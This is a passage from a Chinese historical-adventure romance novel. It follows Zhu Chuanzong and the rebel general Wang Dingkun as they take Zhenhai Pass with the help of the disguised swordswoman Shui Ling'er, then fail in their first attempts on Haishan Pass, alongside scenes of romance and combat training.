这天他们路过一个名叫黄沙镇的小镇。这小镇有一百来户人家,因为靠近边关,地处偏僻,因此不怎么繁华,家家都养些牛马,靠放牧为生。
他们找了个小饭馆吃了午饭,休息了片刻,正待继续赶路,突然街上一阵大乱,有人大喊:「快躲起来,西辽人来啦!」
朱传宗他们的马车已经到了镇口,见状感到有些奇怪,于是拉住一个老头询问。那老头正吓得面如土色,道:「你们不知道,我们这里因为靠近西辽国,经常有西辽的小股军队偷跑过来抢劫。要是运气好,抢些牛马钱财就走了;要是运气不好,杀人放火也有可能。你们还是快跑吧,被追上就没命啦。」
水灵儿听了,怒道:「这些西辽人真是可恶,不行,我不能让他们这么欺负百姓!」
说着提剑就要下去。其余几女也十分气愤。
朱传宗想了想,道:「不知道西辽来了多少兵马,你们几个弱女子谁来保护?还是先走吧。」
赶起马车就走。
几女虽然不愿,但是知道他说的有理,也无可奈何。只有常乐公主最是单纯心软,一边探头看向小镇一边道:「难道咱们就放任这些百姓不管了?」
朱传宗不答话,只是赶车。
过了一会儿,紫纱仙子又忍不住道:「听说西辽人都十分凶残,不知道他们会怎么对付这些百姓?」
朱传宗还是只顾赶路不说话;其余几女见此,也不说话了。常乐公主失望地叹了口气,呆呆看着小镇方向。这时隐隐看见一小队西辽人骑着马冲进小镇,顿时乱成一团,还有呼救和哭喊的声音传来。
常乐公主实在看得有些不忍,坐回马车里,不禁双目垂泪。几个姊妹正出言安慰,朱传宗把马车赶进了路旁的树林,道:「灵儿,好好保护你三个姊姊,我去去就回。」
说完从马车上解下一匹马来,向小镇跑去。
几女都吃惊地望着他的背影,常乐公主婆娑的泪眼里更是露出不可置信的神色。
远远望去,只见朱传宗到了镇上,跟那些西辽人打了起来。水灵儿看得担心,正要过去帮忙,突然那些房屋里涌出许多百姓来,手里拿什么家伙的都有,有棍子,有菜刀,有铁镐,把十几个西辽人围住,一拥而上,不一会就将西辽人全给杀死了。
几女回到镇上。这时候镇民们纷纷跑出来,簇拥着朱传宗,脸上全是崇敬的神色。
本来这队西辽人只有十来个人,小镇上有几百人,是不用怕他们。但是百姓们没有武器,又害怕西辽人凶残的名声,因此不敢反抗。幸好朱传宗出手,众人才有了勇气出来保护自己的家园。
百姓们对朱传宗几人感恩膜拜,当成再生父母一般,热情得不得了。又盘桓了半日,几人才好不容易告辞出来,继续上路。
常乐公主盯着朱传宗看了半晌,嫣然一笑道:「我还以为你会丢下他们不管了。」
朱传宗笑道:「我可舍不得让我的心肝宝贝难过啊!」
常乐公主心中一甜,心想:「他是为了我才不顾性命这么做的。」
其实以朱传宗的性格,看见这样的事,就算没有常乐公主在身边,也肯定要管的,不过现在乐得她误会,也不解释,心中着实得意不已。
其余几女看向朱传宗的眼神也是情意绵绵,只觉得有这样英雄的相公真是上天的恩赐,对朱传宗更是嘘寒问暖,百般体贴,让他享尽了几天温柔滋味,也不必细说了。
又走了两天,远远看见一座雄伟的关城,王定昆驻守的靖山关终于到了。
早有哨兵进去通报,因为朱传宗还是钦犯的身分,王定昆也不敢张扬,秘密派人将马车带进军营。等到了他的帅府,这才带着孙虎、周义、吴思远,还有一些手下一起迎了出来,抱住朱传宗大笑道:「兄弟,你终于来啦,大哥真是望眼欲穿啊。」
朱传宗笑道:「看大哥兵强马壮,大事可成啊。」
一众人都大笑起来。这时媚妃和常乐公主也从马车上下来。王定昆一听公主的身分,吃惊不小,急忙下跪行礼。
将几女恭恭敬敬地送到后院安置妥当之后,王定昆大赞公主够义气。他早就知道公主与朱传宗的关系,因为朱传宗犯案,在和公主成亲的前三日被擒,这才没有结成亲。如今堂堂的常乐公主,身分高贵,美貌无比,还身怀绝世医术,居然心甘情愿与落魄的朱传宗在一起,而且不在乎他身边这么多美女,简直令人难以置信。众人看向朱传宗的目光更是羡慕不已。
王定昆叹道:「兄弟,大哥真是服了你了。以前只知道你能纵横官场,没想到情场也是春风得意啊,佩服,佩服。」
孙虎笑道:「是啊,个个跟画上的仙女似的,我老孙这辈子还没见过一个这么漂亮的呢,结果今天一见就见到四个,这都是托了朱大人的光了,朱大人真是太有福气啦!」
众人连连点头,都是称羡不已。朱传宗心想:「你们要是知道连媚妃也是我的人,小皇子是我儿子,还不羡慕死!」
口中却谦虚不已。
吴思远也在旁手捋胡须笑道:「这下咱们起兵的胜算更大了。」
众人不解,齐问端详。
吴思远道:「原本咱们只有一道密旨,拿出来别人也是半信半疑,如果庞来孝拒不承认,也没有办法。现在媚妃娘娘带着小皇子,加上常乐公主殿下,都是皇室的人,咱们行事就更加名正言顺了。」
众人闻言大喜,顿时士气高涨,个个摩拳擦掌,恨不得马上打到京城去。吴思远笑道:「时机尚末成熟,大家稍安毋躁,再忍耐几天。」
吴思远深谋远虑,自从劝说王定昆之后,便开始着手准备起兵之事。王定昆虽有雄兵十万,但是跟庞来孝的势力比起来,还是远远不如的。何况这些手下的将士也未必都甘愿跟随他们造反,因此他仔细筹划,定下了几条计策。
庞来孝因为不信任王定昆,派了一个姓刘的心腹来靖山关做监军,专门用来监视王定昆的动静。王定昆要练兵,打造兵甲武器,都难逃他耳目、于是吴思远就出了个主意,在军营周围放养了许多鸡鸭和家畜,令人不断驱赶,发出噪音,就把练兵的声音掩藏住了。他又命人送了许多的金银给刘监军,刘监军有钱拿,自然也就睁一眼闭一眼。因此王定昆练兵的消息一点也没传到庞来孝耳朵里。
刘监军不知道,他收的钱都是原本士兵们的军饷。吴思远一面给他送钱,一面把此事在军中宣扬,说是朝廷拨下来的钱都被刘监军私吞了。而刘监军是庞来孝的人,士兵们拿不到饷钱,全都恨刘监军入骨,自然也就恨上了庞来孝。
吴思远又派人在军官中宣扬,说是庞来孝要对付王定昆,准备架空他的兵权,把所有的军官都换上他的心腹。这些军官大多是王定昆提拔起来的,也知道覆巢之下无完卵的道理,如果王定昆倒了台,他们也都要跟着倒楣,因此纷纷表明支持王定昆,对庞来孝十分不满。
这些计策都收到极好的效果,如今可谓是上下一心,将士用命。
朱传宗到的第三天,朱家四仆也带着手下数百人前来投靠。新添四员猛将,众人自然又是一番庆贺。
又过了十几日,机会终于来了。庞来孝以皇帝的名义发下旨意,提升王定昆为兵部尚书,即刻去京城就职,由刘监军代理王定昆的兵权。消息一传来,顿时群情激愤。
王定昆依照吴思远的计策,假意遵从朝廷的调令,请刘监军来军营交接兵权,提前在帅帐后埋伏了一百位刀斧手。刘监军不知是计,跟着进了帅帐,宣读圣旨。
等他读完圣旨,王定昆冷笑了一声,道:「真是奇怪,我也收到了皇上的圣旨,怎么跟大人的有些不一样啊!」
说着便掏出密旨。刘监军见势不妙,正想逃跑,王定昆一声令下,帐后的刀斧手一拥而上,将他五花大绑起来。
王定昆随即击鼓点兵,在校场集合,当众宣读圣旨,历数了庞来孝数十条罪状,宣布要诛庞贼,清君侧。十万将士山呼听令,声势浩荡,当下兵分两路,以王定昆为元帅,拜朱传宗为监军,吴思远为军师,带领众将及前锋军三万先出发。剩余七万在周义带领下暂时留守靖山关,看情况再行调动。
一声炮响,三军开拔。可怜刘监军美梦化为泡影,被砍下人头,做了祭旗之用。
朱传宗身穿盔甲,骑在高头大马上,威风八面。他以前是朝廷大员,也是前呼后拥,十分威严,但是跟千军万马的气势相较那是没法比的。他骑在马上,看见身旁旌旗飘飘,士兵盔明甲亮,颇有席卷天下的气势,对除掉庞来孝也不由信心大增。
朱家四仆紧跟在他身后,都是将军打扮。这四人从上路开始,咧着的大嘴就没合上过。原来他们都被封为偏将,每人也都带着几百人马。说起来也是将军大人了,能不笑得合不拢嘴吗?
王大牛道:「俺的个天哪,俺大牛也有当将军的一天,我这不是做梦吧?」
赵老四笑道:「王大哥,你把心放肚子里吧,这还能有什么假的?咱们少爷可是堂堂的监军,统帅千军万马,封你个偏将算什么?以后升官发财都不在话下。你可别这么大惊小怪的,丢了咱们少爷的面子!」
钱老六道:「老四,你光说别人,你自己不也乐了半天!」
赵老四道:「你懂什么?我笑不是因为当上将军,而是因为能重新在少爷手下做事。当初从京城出来,我说去做山大王,你们还前怕狼,后怕虎的,怎么样,听我的对了吧?要是不当山贼,能遇上少爷吗?要不是手下有几百弟兄,能一来就当上将军吗?」
钱老六有些讪讪的,连道:「说的是,说的是。」
张老五道:「四哥不愧是读过书的人啊,真是神机妙算。」
赵老四道:「我这算什么?咱们少爷才叫神机妙算呢。一个多月前还被官兵追杀,短短几天就率领十万兵马,这是凡人能做到的吗?我早就说,跟着少爷准没错的。少爷让干什么,咱们就干什么。少爷还会亏待咱们?」
王大牛几人听了也连连点头称是。
朱传宗隐约听到几句,微微一笑,心中也有几分得意。但也不由有些后悔,早知不如把几女带在身边,也让她们看看相公统领大军的威风。原来出发之前,朱传宗担心战场上有危险,把几女都留在了靖山关。几女虽然都舍不得,想跟着他,但是见朱传宗语气坚决,也只好听从。朱传宗想起临行时依依惜别,几女软语相嘱,温柔动人的容颜如在眼前,不禁想得痴了。
旁边的朱家四仆连同众士兵,可不知道他在想什么。他们只见监军大人怔怔出神,脸上带着高深莫测的微笑,纷纷猜测,心想大人一定又在筹划什么奇计妙策。都传说朱大人是天上的星宿下凡,胸有智谋无数,看来果然是真的。庞来孝一个奸臣,竟然跟朱大人作对,实在是自寻死路啊。想到此处,他们看向朱传宗的目光,顿时更加充满崇敬。
大军急行了一天一夜,天亮时来到一座城前,此城叫做镇海关,城高水深,十分险要。关中有两位大将,是兄弟两个,哥哥名叫石天,使一对亮银锤。弟弟名叫石山,使一根蟠龙棍。两人都有万夫不当之勇。
石家兄弟守卫镇海关,但是因为前面还有王定昆的靖山关在,西辽国和北蛮人连靖山关都进不来,就被王定昆打败了,因此这两人都没有杀敌立功的机会。
没有军功就升不了官,看着这几年王定昆的官位越升越高,两人都是眼红得要死。
一听手下报告说王定昆反了,大军已到城下,两人不惊反喜,笑道:「正愁功劳都被王定昆抢去,他就自己送功劳上门来了。只要把他擒下送到京城,岂不是天大的功劳?那威远大将军的位子可就是咱们兄弟的啦!」
于是吩咐手下打开关门,带着一队人马来到阵前。
王定昆高声道:「两位将军,庞来孝祸乱朝纲,有不臣之心。我们奉旨进京勤王,还请放我们过去吧。」
石天冷笑道:「王定昆,你一个山贼头子出身,也配跟丞相作对?自己乖乖下马投降,省得我们费事啦!」
王定昆闻言大怒,道:「众将,谁去迎战?」
第十章过关斩将
石家兄弟在阵前叫战,出言不逊。王定昆大怒,问手下谁愿出战。孙虎打马出列道:「末将请战!」
王定昆知道他武艺高强,点头道:「多加小心!」
孙虎到了阵前,喝道:「你们俩谁先来?」
石山问道:「你想单战还是群战?」
孙虎一愣,道:「什么单战群战?搞他娘的啥名堂?」
石天道:「单战就是你一个打我们俩。」
石山道:「群战就是我们俩打你一个。」
孙虎一听气得头发都立起来了,大骂道:「你们俩真他妈的不要脸,二打一还好意思说?」
石家兄弟对看了一眼,哈哈大笑道:「我们兄弟一向一起上阵,众人皆知,可不是有意占你便宜!」
孙虎怒不可止,大喝一声,扬刀上前,与两人战在一处。
石家兄弟是有真本领的。孙虎虽然厉害,也只能跟他们中的一人不分上下,现在以一敌二,就不是对手了。打了几十回合,石天挥锤砸来,孙虎抬刀一挡,石山的大棍却也横扫而至,孙虎躲闪不及,大叫一声,被打落马下。有兵士马上上来把他绑了下去。
王定昆见孙虎战败被擒,又急又怒,问道:「谁去战他们,救孙将军回来?」
赵老四眼前一亮,觉得立功的机会来了,跟王大牛几人嘀咕了两句,上前请战。王定昆允了。
朱传宗担心他不是对手,正要出言阻拦。哪知道赵老四身后跟着王大牛、张老五、钱老六,四个人一同打马出阵。朱传宗看得一笑,心道:「赵老四这小子,还真有几分小聪明。」
石家兄弟见对面来了四人,不由一怔。石天道:「你们怎么跑出这么多人来?到底谁要应战?」
王大牛笑道:「真是巧了,俺们几人也是习惯一起上阵,所以四个群战你们两个,十分公平,可不是故意占你们便宜。」
石天一呆,想要开口骂对方真是无耻,又一想,这不连自己兄弟也骂上了?
只好忍了,各舞兵器,奔王大牛几人而来。
赵老四虽然机灵,想出了以四敌二的办法,占了人数上的便宜。可没想到,居然还不是石家兄弟的对手。原来石家兄弟从小就拜一位高人为师,专门练了一套两人配合作战的招式。锤棍相辅相成,威力倍增。朱家四仆虽然人多,但是各打各的,乱打一气,自然不是对手。片刻功夫,也都被打翻在地,抓了下去。
王定昆这边出师不利,连输两阵,士气大跌。众将见石家兄弟如此厉害,吓得也都不敢迎战了。王定昆问了几遍无人出声,一气之下就要亲自上阵。朱传宗忙道:「大哥,你是三军统师,怎么能亲自犯险?还是我去吧。」
王定昆自是不肯。正在争执,突然朱传宗身边一个亲兵道:「不过是两个跳梁小丑,哪值得大人们出手?看我把他们抓过来!」
也不等王定昆发令,抖了缰绳就冲出去了。
听到一个小小亲兵居然有这么大的口气,大家都呆住了。朱传宗觉得奇怪,心想:「我身边什么时候有这么一个胆大的亲兵,我怎么没见过啊?」
可是听声音又觉得有些熟悉,仔细看了片刻,不由大吃一惊。只见那小亲兵虽然是普通兵士打扮,但是身材纤细,肌肤雪白,明眸皓齿,美艳绝伦,正是女扮男装的水灵儿!
朱传宗一想,定是水灵儿想要上阵打仗,又怕自己不许,便混进自己亲兵队里跟来,不禁有些哭笑不得。他虽然知道水灵儿武艺很高,但是石家兄弟也不是弱手,心中担忧,急忙凝神细看。
石家兄弟连赢两阵,正在得意。突见对面过来一人,手拿两把宝剑,身材瘦弱,细皮嫩肉,而且连盔甲都没有,只穿着士兵的号衣,一呆之后便是哈哈大笑。石天笑道:「怎么,你们的将军都吓破胆了?派个小兵来凑数!」
石山也狂笑道:「还是个挺漂亮的小兵呢,毛还没长齐,看起来跟个小娘们似的。不如擒下来,给下面好这口的弟兄们爽爽?」
两人又是一阵大笑。水灵儿也不着恼,冷笑道:「那得看你们有没有这个本事了。」
说完提起手中双剑,打马便刺。
石家兄弟跟水灵儿一打,才知道碰上对手了。只见水灵儿双剑上下翻飞,寒光闪耀,招式精奇,极是厉害。石家兄弟虽然是二打一,又有合击的招式,也渐渐落在下风。又打了一会儿,两人身上都带了伤,累得气喘嘘嘘,两人一看情况不妙,换了个眼色,转身打马就跑。
哪知道水灵儿早有防备,双剑一挥,将两人都挑落马下。
王定昆见机不可失,趁势击鼓传令,全军进攻。镇海关的人马见主将落马,早就军心大失,哪里还敢抵挡,顿时溃不成军,落荒而逃。王定昆的军队趁势杀进城内,一举夺占镇海关。
混乱之中,孙虎与朱家四仆自然也被救了下来,化险为夷。
水灵儿阵前大显身手,实在令将士们大开眼界。孙虎是军中有名的猛将,朱家四仆也是新封的偏将,由他们出战并不奇怪。但是一个名不见经传的小兵出马,武艺又厉害到吓人,那可就太奇怪了。军中沸沸扬扬地传了半天,这才知道,原来那小兵是监军朱大人的亲兵。
众人这一下子更是惊奇。朱大人身边一个小小亲兵就这么厉害,那朱大人本人岂不是天下无敌了?又一打听,原来朱大人就是那位赫赫有名的朱青天,传说是星宿下凡。无形之中,朱传宗的威信在军中大增,众人中有对起兵之事心存犹豫的,也都终于安下心来。
当晚王定昆在帐中大摆庆功宴,朱传宗坐在主席上,轮番被众人敬酒,不过总有些心不在焉的神态。吴思远见了不由微笑,笑道:「大人似乎有心事啊?」
朱传宗也不好意思说自己心里正想着佳人,正想敷衍几句,王定昆眨了眨眼,笑道:「兄弟怕是正想着今天那位漂亮的亲兵呢。」
朱传宗看见两人了然的笑容,心中一动,顿时明白,原来水灵儿的事,想必两人早就知道了。不然一个女子化装成士兵混进军营,还做了监军的亲兵,如果没有人帮忙,那是无论如何也做不到的。
他猜得不错。大军出发之前,水灵儿亲自去找吴思远,表明想要随军出战。
吴思远当下便答允了,还特意把她安排进了朱传宗的随身亲兵里。王定昆知晓此事,以为朱传宗是舍不得娇妻美眷,想要大帐藏娇,因此也没有在意。
王定昆哈哈笑道:「以前光只见兄弟的几位夫人长得跟天仙一样漂亮,没想到功夫也这么厉害,兄弟真是有福气啊。我看你也没什么心思喝酒了,快点回你的营帐去找夫人亲热去吧。」
两人又是一阵大笑。朱传宗又坐了一会儿,就告个罪,先离席而去了。
到了自己的营帐前,有守卫的亲兵禀告,白天出战的那位姓水的士兵,正在帐里。守卫们见过他的武艺,全都敬佩不已,又不知道他跟朱传宗的关系,因此也不敢阻拦。朱传宗听了不由心中大喜,快步往帐里走去。走了两步又想起来,吩咐那些守卫,以后这位姓水的士兵随时都可以进来,不用通报。
朱传宗走进帐中,只见水灵儿换了一身干净的粗布衣裳,正在灯下擦拭宝剑。宝剑被烛火反射出蓝汪汪的光芒,映在水灵儿那白玉似的脸庞上,实在是如梦如幻,令人神迷。
水灵儿听见脚步声响,抬起头来,见朱传宗呆呆看着自己,不由笑道:「你回来啦,发什么呆呢?」
朱传宗道:「我突然想起一句诗来。」
水灵儿眨了眨眼,道:「这个时候做什么诗?再说我也听不懂。」
朱传宗微笑地看着她,吟道:「美人如玉剑如虹,说的不就是灵儿吗?」
水灵儿脸一红,道:「又在胡言乱语了。」
心里却是一甜。
朱传宗见了美人含羞带嗔的模样,更是心动,笑嘻嘻地就往水灵儿身边凑过去。
水灵儿皱了皱鼻子,道:「好大的酒气,你喝了多少酒啊!」
说着拿出手帕,在水盆里蘸了蘸,然后踏着脚帮朱传宗擦拭脸颊和嘴角的酒痕。
朱传宗侧着头由着她擦拭,盯着她红润的脸颊,抿着的红艳小嘴儿,心想:「灵儿侠义心肠,武艺又高,在外面是个行侠仗义的女侠,谁知道她也有温柔的一面呢。不过她的温柔滋味,也只有我能尝到。」
擦了一会儿,朱传宗被那轻柔的小手抚得,心里痒痒的,忍不住抓住了水灵儿柔软如绵的小手。水灵儿吓了一跳,低声道:「你做什么?快放手。」
朱传宗笑道:「你女扮男装混入军营,可是大大的犯了国法,本官要惩罚你。」
水灵儿看了他的神态,哪里还不知道他说的惩罚是什么意思,顿时满脸红晕,眼波如水,一边想要抽手逃开,一边道:「我今天帮你们打了胜仗,立了功劳,大不了功过相抵了。你还要惩罚,不是赏罚不明吗?」
朱传宗抱住她的纤腰,笑道:「那就赏罚一起好了。」
说着将水灵儿拦腰抱起,来到榻上。灯下细看,只见美人明眸皓齿,眼如秋水,肌肤吹弹可破,真有如仙子下凡。解去罗衣,两只玉乳仿佛小乳鸽般,盈盈一握。待要再看,水灵儿早已羞不可胜,嘤咛一声,将蜡烛吹灭。风流旖旎,被翻红浪,也不用细说了。
一夜缠绵,到了拂晓时分,水灵儿起身梳洗。朱传宗道:「灵儿,这军营里人多眼杂,你还是搬到我的大帐来住吧。」
水灵儿脸上的春意尚未褪去,闻言又是一阵红润,嗔道:「昨晚使坏还不够吗?还想……我才不来呢。」
朱传宗道:「那你住在哪里?不会是跟那些亲兵住在一起吧?」
不由大是心急。
水灵儿被他着急的模样逗得噗嗤一笑道:「你胡思乱想什么?吴先生早为我安排了小帐,只有我一个人,旁人都不许接近的。」
朱传宗这才放心。可是他看着水灵儿如花的娇颜,心中又实在不舍,想了一会,问道:「你住的小帐能不能领我看看?」
水灵儿犹豫了片刻,柔声道:「要我带你去,也不是不行,但是你得答应我,平时不要到我的营帐来,也不要显露我的身分,只把我当作一个普通的亲兵。我想你的时候,自会来与你相会,不然你就算来找我,我也不会见你的。你能不能答应?」
朱传宗心中暗叹:「灵儿还是跟以前一样,不喜欢受到约束。我又何苦为难她呢?」
当下就答应了。于是两人到水灵儿住的小帐,朱传宗看了一下,虽然陈设很简单,但是倒也整齐干净。离朱传宗自己的大帐也并不太远,他这才放下心来。
朱传宗大军攻占镇海关,休整了两日,继续向京城进发。走了几日,到了北疆省第一雄关,海山关。大梁国在北方有三道关城,分别是王定昆镇守的靖山关,石家兄弟镇守的镇海关和眼前这座海山关。其中数海山关最为高大雄伟,关墙足有几十丈高,险要万分,可谓固若金汤。
海山关的总兵名叫方守业,四十多岁年纪,为人十分稳重。他本来是文官出身,不会武艺,但是因为精通兵法韬略,因此被派作海山关总兵,可算是一位儒将。王定昆大军一到,他派手下试探了两次,都被杀得大败。他知道自己不是对手,就紧闭关门,高挂免战牌,严防死守。王定昆派兵攻打数日,但是因为海山关太险要,不但没有攻下来,反而折损了不少兵丁。
王定昆无奈,请来监军朱传宗,军师吴思远一起到帅帐来商议对策。
吴思远思忖片刻,献上一计。他在军中挑了几十个老弱病残的士兵,穿得破破烂烂,袒胸露臂,跑到关下大骂。骂词千奇百怪,花样极多,什么「方守业你这个缩头乌龟,怎么不躲你娘肚子里去?」,「方守业你是娘们扮的吧,要不就是宫里的太监?」,一句比一句难听,活人听了能被气死,死人听了能气活过来。几十人分成四组,轮流上阵,整日骂个不停。
城里的兵将都气坏了,跑去向方守业请战。哪知道方守业听了,一点也没往心里去,微微一笑道:「区区激将小计,也想诓我上当?」
吩咐手下不予理睬,继续挂免战牌。
连骂了数日,这几十个士兵骂得嗓子都哑了,还是不见有人出来迎敌。吴思远知道计策已经被识破,只好作罢。
朱传宗心中一动,也想出个办夫来。原来他视察辎重之时,看见粮仓里有老鼠打的洞,心想若是派人偷偷挖条地道,到时候大军从地道钻进城去,打个守军一个出其不意,岂不是更好?他将计策一说,王定昆与吴思远都连连称妙。
当下便依计而行,派士兵大挖地道。挖了十来日,眼看已经挖进城去,只要再过两天就能挖通了。朱传宗等人眼看即将成功,都是大喜。
哪知道天意难料。城里有个百姓打水的时候,听见水井里头有异常的响动,就报告了方守业。方守业顿时知道了朱传宗的打算。他将计就计,派人把竹筒埋在地里,监听地下的动静,找到了地道的位置。等到眼看挖通的时候,突然点燃了许多艾草,从出口处往里塞,然后又不停向地道里灌水。可怜那些挖洞的士兵,又是烟熏又是水淹,死伤狼籍,挖好的地道也被水冲塌了。
王定昆气得勃然大怒,命手下赶造投石车和云梯等攻城器械,决定要直接攻城。兵法中有三倍攻城的说法,意思就是说,攻城的人数至少要守城人数的三倍。海山关易守难攻,就算强攻下来,大军的损失也不会小。因此这乃是下策,吴思远和朱传宗都不赞同。但是另一方面,军情如火,大军已经在海山关耽搁了二十多日。想来庞来孝已经得到了消息,准备要派兵镇压了。拖延的时间越长,庞来孝准备得越充分,因此必须要尽早过关去。
思来想去,也就只好准备攻城了。
这日,朱传宗闲来无事,坐在大帐里,拿了一本兵书来看。只是兵书中的奇计妙策虽多,对于眼前的海山关却也是一筹莫展,朱传宗看了半晌,没有头绪,不由把兵书丢在一旁,闷坐发呆。
这时一人推门进来道:「呆子,做什么呢?」
朱传宗听到是水灵儿的声音,不由抬起头来,只见她仍是普通兵士打扮,青丝挽在脑后,用一块头巾包住,腰挎长剑,美目流转,巧笑言兮,娇俏中透出一股英气,动人之极。朱传宗看着她娇媚的容颜,顿时把烦闷丢在脑后,装着一本正经地道:「你是哪来的小兵,好大的胆子,竟敢擅入本将军的大帐!」
水灵儿嗔道:「既然不欢迎我,那我走就是了。」
转身假意要走。朱传宗一把拉住她玉手,笑道:「你说想来时才来,不准我去找你,我也依了。现在来了还想走,可太不把我放在眼里啦!今天你是进得出不得了。」
挽着她的小蛮腰,一面探过头去吻她白玉似的脸颊。
水灵儿给他吻了一下,不禁香腮生晕,道:「快放手。大白天的,小心被人看到。」
朱传宗道:「不怕,我早下过命令,除了你,别人进帐都要先通报的。」
水灵儿听他话里自有一股不必言说的信任,芳心一甜,也就由着他了。朱传宗见佳人相就,不禁大喜,顺势把手伸进去抚摸伊人肌肤,又噙住小香舌儿,细细品尝。
两人亲热了半晌,水灵儿勉力把朱传宗推开,脸红红的,低头整理衣裳,叹道:「有你这样没正经的将军吗?怪不得会打败仗。」
朱传宗笑道:「我可不是没正经,刚才还在研读兵书呢。」
说着拿起旁边的兵书来给水灵儿看。
水灵儿翻了几下,道:「你是不是为了海山关的事发愁?」
朱传宗点头,水灵儿道:「本来我有一个办法,不过现在没用了。」
朱传宗一呆道:「你有什么办法?」
水灵儿一握腰中宝剑,微笑道:「你忘了咱们是怎么认识的了?海山关的城墙虽高,可也拦不住我。」
朱传宗恍然道:「你要进城去刺杀方守业?不行,绝对不行,太危险了!」
水灵儿笑道:「现在你让我去,我也不肯去啦。我已经悄悄去找附近的百姓打听过了,这位方守业大人平时为官清明,爱民如子,是位难得的好官。我水灵儿可不会杀一位清官。」
朱传宗点头道:「这我也听说过了。但就因为方守业是好官,这才难办。好官大多有真本事,士兵和百姓又肯为他效力,不然海山关哪有这么难攻呢?不过话说回来,两军对阵就该堂堂正正的搏杀,等过两日攻城器械造好,大军进攻,就算方守业再有本事,怕也拦不住我了。」
水灵儿呆呆地看着他,过了一会儿,抿嘴笑道:「呆子,你现在越来越威风,越来越像个大将军啦。」
朱传宗挺胸得意道:「那还用说?」
水灵儿忍不住给了他个白眼,道:「既然如此,不知道大将军的武艺如何?」
朱传宗一怔,嗫嚅着说不出话。他虽然是半仙之体,力大无比,而且寻常刀剑难伤,但是从来只读书,没学过武,要单说武艺,恐怕连个小兵也比不上。不过他心中一转,又笑道:「我武艺虽不行,现放着一个厉害的师父啊。左右无事,不如你教教我?」
水灵儿道:「你总算说句正经话了,不然我来找你做什么?」
朱传宗低声笑道:「你来找我,也可以做别的啊。比如前几天……」
水灵儿脸上一红,道:「又来乱说了。快换衣服,跟我到营外去!」
其实水灵儿今天来原就是打算要教朱传宗武艺的。她知道战场上十分凶险,朱传宗早晚有亲自上阵的一天,因此决定教他一些防身的本事。
两人到了外面一个无人的空地,水灵儿取出事先准备的一根盘龙棍来。
朱传宗脸上流露些怏怏的神色,水灵儿问其原因,朱传宗道:「使棍子有什么好看?我看你用剑用的漂亮,干脆你教我剑法吧。」
水灵儿瞪了他一眼,道:「你这话可真能把人气死!上阵打仗是比漂亮的吗?我一介女流,身小力亏,只好用宝剑。你一个大男人用剑怎么像话?」
朱传宗笑道:「我不懂嘛!好啦,你教我用棍,我学棍法就是了。」
水灵儿这才展颜。她把头发挽了挽,扎紧衣服,道:「我先教你三招,你仔细看着。」
说着举起盘龙棍,舞了起来。
只见棍影婆娑,水灵儿窈窕的身躯好似一只蝴蝶来回穿梭,香风阵阵,好看极了。
等她将三招练完,喘了口气,向朱传宗问道:「看清楚了吗?」
哪知道朱传宗不出声,只是呆呆盯着她看。问了好几遍,才怔道:「练完了?好看,好看。」
水灵儿脸一红,气得骂道:「你这呆子,当我在跳舞给你看吗?我不教了,你上战场送死去吧。」
朱传宗忙道:「灵儿,是我不好。实在是你耍的太漂亮了,我忍不住走神了。你再练一遍吧,这次我肯定认真学。」
求了半天,水灵儿方才消了气,道:「好吧,我就再练一遍。这次你再不认真学,我可不管你啦。」
说着举棍又练了一遍。她虽然武艺高强,但终究是女流,那条大棍足有六十斤重,几番下来,也累得娇喘吁吁,鬓角渗出一丝香汗。
这次朱传宗可不敢再走神了,紧盯着细看。
前边说过,朱传宗是半仙之体,保有很多神仙的智慧。因此无论学文学武,都是过目不忘。现在他定下心来,聚精会神地看水灵儿演示,虽然只看一遍,也就学会了。施展起来,虎虎生风,又因为他力气大,比水灵儿使出来的威力还大。
水灵儿瞪大眼睛道:「没想到你还真挺聪明的嘛!这么快就学会了。」
朱传宗笑道:「其实都是老师教的好。我这人有个特点,就喜欢跟漂亮的老师学东西。老师越漂亮,我学的越快。」
说着又开始笑嘻嘻地朝水灵儿凑近。
水灵儿退了两步,眼珠一转,笑道:「你今天学的招式是最简单的,有什么了不起?明天教你难的,你若再学这么快,才算本事。我累了,要回去休息了,你自己接着练习吧。」
不等朱传宗说话,轻盈一转,就跑回营里去了。